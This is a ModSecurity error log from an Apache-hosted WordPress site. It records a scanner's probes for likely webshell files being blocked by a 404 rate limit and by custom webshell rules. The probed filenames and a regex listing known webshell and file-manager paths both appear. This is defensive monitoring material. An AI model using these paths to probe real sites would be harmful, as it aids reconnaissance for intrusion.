[Thu Apr 23 23:42:07.032348 2026] [:error] [pid 42972:tid 43036] [client 74.234.74.247:4095] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aeo9z8OAb-3sOknsk4du_QAAAFQ"]
[Thu Apr 23 23:42:07.551542 2026] [:error] [pid 42972:tid 43022] [client 74.234.74.247:3991] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aeo9z8OAb-3sOknsk4du_wAAAEY"]
[Thu Apr 23 23:42:08.184063 2026] [:error] [pid 46953:tid 46968] [client 74.234.74.247:3926] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aeo90EnlpdHh-P6wKbpTMAAAAkw"]
[Thu Apr 23 23:42:08.722407 2026] [:error] [pid 42972:tid 43032] [client 74.234.74.247:9432] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aeo90MOAb-3sOknsk4dvAQAAAFA"]
[Thu Apr 23 23:42:09.261293 2026] [:error] [pid 65000:tid 65030] [client 74.234.74.247:4065] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aeo90b6vRb9j6psK2ZbivgAAAgE"]
[Thu Apr 23 23:42:09.820335 2026] [:error] [pid 65000:tid 65038] [client 74.234.74.247:4064] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aeo90b6vRb9j6psK2ZbiwgAAAgU"]
[Thu Apr 23 23:42:10.342511 2026] [:error] [pid 64998:tid 65004] [client 74.234.74.247:4030] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aeo90oV5EysYcTLjmwjAsQAAAcI"]
[Thu Apr 23 23:42:10.910184 2026] [:error] [pid 42973:tid 43053] [client 74.234.74.247:9401] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aeo90m6I0QqmmmLTHE1ESgAAAIo"]
[Thu Apr 23 23:42:11.423335 2026] [:error] [pid 46953:tid 46972] [client 74.234.74.247:3907] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aeo900nlpdHh-P6wKbpTMQAAAlA"]
[Thu Apr 23 23:42:11.969878 2026] [:error] [pid 59700:tid 59724] [client 74.234.74.247:3929] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aeo905XyGZJFeAIDWtlGeAAAAVY"]
[Thu Apr 23 23:42:12.547855 2026] [:error] [pid 43083:tid 43103] [client 74.234.74.247:3992] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "aeo91DC5hrvNXosL83KNUgAAANI"]
[Thu Apr 23 23:42:13.090879 2026] [:error] [pid 46953:tid 46959] [client 74.234.74.247:4015] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "aeo91UnlpdHh-P6wKbpTMwAAAkM"]
[Thu Apr 23 23:42:13.624943 2026] [:error] [pid 65000:tid 65056] [client 74.234.74.247:9431] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "aeo91b6vRb9j6psK2ZbixAAAAhc"]
[Thu Apr 23 23:42:14.192109 2026] [:error] [pid 42971:tid 43008] [client 74.234.74.247:4015] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "aeo91jEP2_5RswrH8bE69gAAABY"]
[Thu Apr 23 23:42:14.816327 2026] [:error] [pid 46953:tid 46975] [client 74.234.74.247:3971] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "aeo91knlpdHh-P6wKbpTNwAAAlM"]
[Thu Apr 23 23:42:15.356589 2026] [:error] [pid 59700:tid 59708] [client 74.234.74.247:9369] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "aeo915XyGZJFeAIDWtlGegAAAUY"]
[Thu Apr 23 23:42:16.874370 2026] [:error] [pid 46953:tid 46978] [client 74.234.74.247:4027] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "aeo92EnlpdHh-P6wKbpTPAAAAlU"]
[Thu Apr 23 23:42:18.251016 2026] [:error] [pid 42972:tid 43020] [client 74.234.74.247:4078] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "aeo92sOAb-3sOknsk4dvCgAAAEQ"]
[Thu Apr 23 23:42:19.435827 2026] [:error] [pid 42971:tid 42993] [client 74.234.74.247:4011] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "aeo92zEP2_5RswrH8bE6-wAAAAc"]
[Thu Apr 23 23:42:20.026652 2026] [:error] [pid 59700:tid 59704] [client 74.234.74.247:3928] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "aeo93JXyGZJFeAIDWtlGewAAAUI"]
[Thu Apr 23 23:42:20.558866 2026] [:error] [pid 46953:tid 46961] [client 74.234.74.247:3996] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "aeo93EnlpdHh-P6wKbpTQAAAAkU"]
[Thu Apr 23 23:42:21.106931 2026] [:error] [pid 25635:tid 25651] [client 74.234.74.247:3976] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "aeo93cRxv6UsgRGKB3JAUwAAAQw"]
[Thu Apr 23 23:42:21.639527 2026] [:error] [pid 43083:tid 43086] [client 74.234.74.247:3862] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aeo93TC5hrvNXosL83KNbwAAAME"]
[Thu Apr 23 23:42:22.764689 2026] [:error] [pid 43083:tid 43104] [client 74.234.74.247:3970] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aeo93jC5hrvNXosL83KNegAAANM"]
[Thu Apr 23 23:42:24.441669 2026] [:error] [pid 43083:tid 43095] [client 74.234.74.247:9421] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aeo94DC5hrvNXosL83KNjwAAAMo"]
[Thu Apr 23 23:42:24.960632 2026] [:error] [pid 64998:tid 65012] [client 74.234.74.247:4089] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aeo94IV5EysYcTLjmwjA0QAAAco"]
[Thu Apr 23 23:42:26.147491 2026] [:error] [pid 65000:tid 65038] [client 74.234.74.247:3871] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeo94r6vRb9j6psK2ZbixgAAAgU"]
[Thu Apr 23 23:42:26.716377 2026] [:error] [pid 65000:tid 65041] [client 74.234.74.247:4094] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeo94r6vRb9j6psK2ZbiyAAAAgg"]
[Thu Apr 23 23:42:27.274525 2026] [:error] [pid 64998:tid 65023] [client 74.234.74.247:3931] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeo944V5EysYcTLjmwjA1gAAAdU"]
[Thu Apr 23 23:42:27.818060 2026] [:error] [pid 42972:tid 43030] [client 74.234.74.247:4008] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeo948OAb-3sOknsk4dvDQAAAE4"]
[Thu Apr 23 23:42:28.354757 2026] [:error] [pid 42971:tid 42999] [client 74.234.74.247:3854] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aeo95DEP2_5RswrH8bE6_gAAAA0"]
[Thu Apr 23 23:42:28.919674 2026] [:error] [pid 64998:tid 65011] [client 74.234.74.247:9470] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aeo95IV5EysYcTLjmwjA3gAAAck"]
[Thu Apr 23 23:42:31.696277 2026] [:error] [pid 42972:tid 43039] [client 74.234.74.247:3909] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aeo958OAb-3sOknsk4dvEQAAAFc"]
[Thu Apr 23 23:42:41.519833 2026] [:error] [pid 42973:tid 43049] [client 74.234.74.247:4013] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aeo98W6I0QqmmmLTHE1EXwAAAIY"]
[Thu Apr 23 23:42:42.046359 2026] [:error] [pid 42971:tid 42992] [client 74.234.74.247:4014] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aeo98jEP2_5RswrH8bE7AwAAAAY"]
[Thu Apr 23 23:42:42.608082 2026] [:error] [pid 42972:tid 43022] [client 74.234.74.247:3994] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aeo98sOAb-3sOknsk4dvFgAAAEY"]
[Thu Apr 23 23:42:43.779374 2026] [:error] [pid 25635:tid 25651] [client 74.234.74.247:4009] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aeo988Rxv6UsgRGKB3JAYQAAAQw"]
[Thu Apr 23 23:42:45.339141 2026] [:error] [pid 65000:tid 65054] [client 74.234.74.247:4087] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aeo99b6vRb9j6psK2ZbjFgAAAhU"]
[Thu Apr 23 23:42:45.858832 2026] [:error] [pid 46953:tid 46980] [client 74.234.74.247:4001] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aeo99UnlpdHh-P6wKbpTXwAAAlc"]
[Thu Apr 23 23:42:47.703502 2026] [:error] [pid 65000:tid 65047] [client 74.234.74.247:3860] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aeo9976vRb9j6psK2ZbjLAAAAg4"]
[Thu Apr 23 23:42:48.233120 2026] [:error] [pid 64998:tid 65007] [client 74.234.74.247:4020] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aeo9-IV5EysYcTLjmwjBKQAAAcU"]
[Thu Apr 23 23:42:55.801443 2026] [:error] [pid 65000:tid 65053] [client 74.234.74.247:3914] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeo9_76vRb9j6psK2ZbjiwAAAhQ"]
[Thu Apr 23 23:42:56.383741 2026] [:error] [pid 65000:tid 65031] [client 74.234.74.247:4005] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeo-AL6vRb9j6psK2ZbjjwAAAgI"]
[Thu Apr 23 23:43:00.047574 2026] [:error] [pid 65000:tid 65051] [client 74.234.74.247:3987] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeo-BL6vRb9j6psK2ZbjvgAAAhI"]
[Thu Apr 23 23:43:00.596582 2026] [:error] [pid 64967:tid 64975] [client 74.234.74.247:3883] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeo-BIAV4GfOOdX8QzqFagAAAYY"]
[Thu Apr 23 23:43:01.240850 2026] [:error] [pid 64998:tid 65010] [client 74.234.74.247:3841] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aeo-BYV5EysYcTLjmwjBhQAAAcg"]
[Thu Apr 23 23:43:01.829673 2026] [:error] [pid 65000:tid 65055] [client 74.234.74.247:3986] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aeo-Bb6vRb9j6psK2Zbj5QAAAhY"]
[Thu Apr 23 23:43:02.402501 2026] [:error] [pid 64998:tid 65016] [client 74.234.74.247:3932] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aeo-BoV5EysYcTLjmwjBiQAAAc4"]
[Thu Apr 23 23:43:03.013028 2026] [:error] [pid 42973:tid 43056] [client 74.234.74.247:3904] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aeo-B26I0QqmmmLTHE1EYwAAAI0"]
[Thu Apr 23 23:43:03.545955 2026] [:error] [pid 65000:tid 65037] [client 74.234.74.247:3913] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aeo-B76vRb9j6psK2ZbkCgAAAgQ"]
[Thu Apr 23 23:43:04.186537 2026] [:error] [pid 64998:tid 65020] [client 74.234.74.247:3910] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aeo-CIV5EysYcTLjmwjBkAAAAdI"]
[Thu Apr 23 23:43:05.763128 2026] [:error] [pid 64967:tid 64992] [client 74.234.74.247:3993] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aeo-CYAV4GfOOdX8QzqFcQAAAZc"]
[Thu Apr 23 23:43:06.308359 2026] [:error] [pid 46953:tid 46959] [client 74.234.74.247:3852] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aeo-CknlpdHh-P6wKbpTYgAAAkM"]
[Thu Apr 23 23:43:09.262484 2026] [:error] [pid 42973:tid 43055] [client 173.239.218.30:39257] [client 173.239.218.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aeo-DW6I0QqmmmLTHE1EiQAAAIw"]
[Thu Apr 23 23:43:10.061778 2026] [:error] [pid 42973:tid 43058] [client 173.239.218.58:24169] [client 173.239.218.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aeo-Dm6I0QqmmmLTHE1EjwAAAI8"]
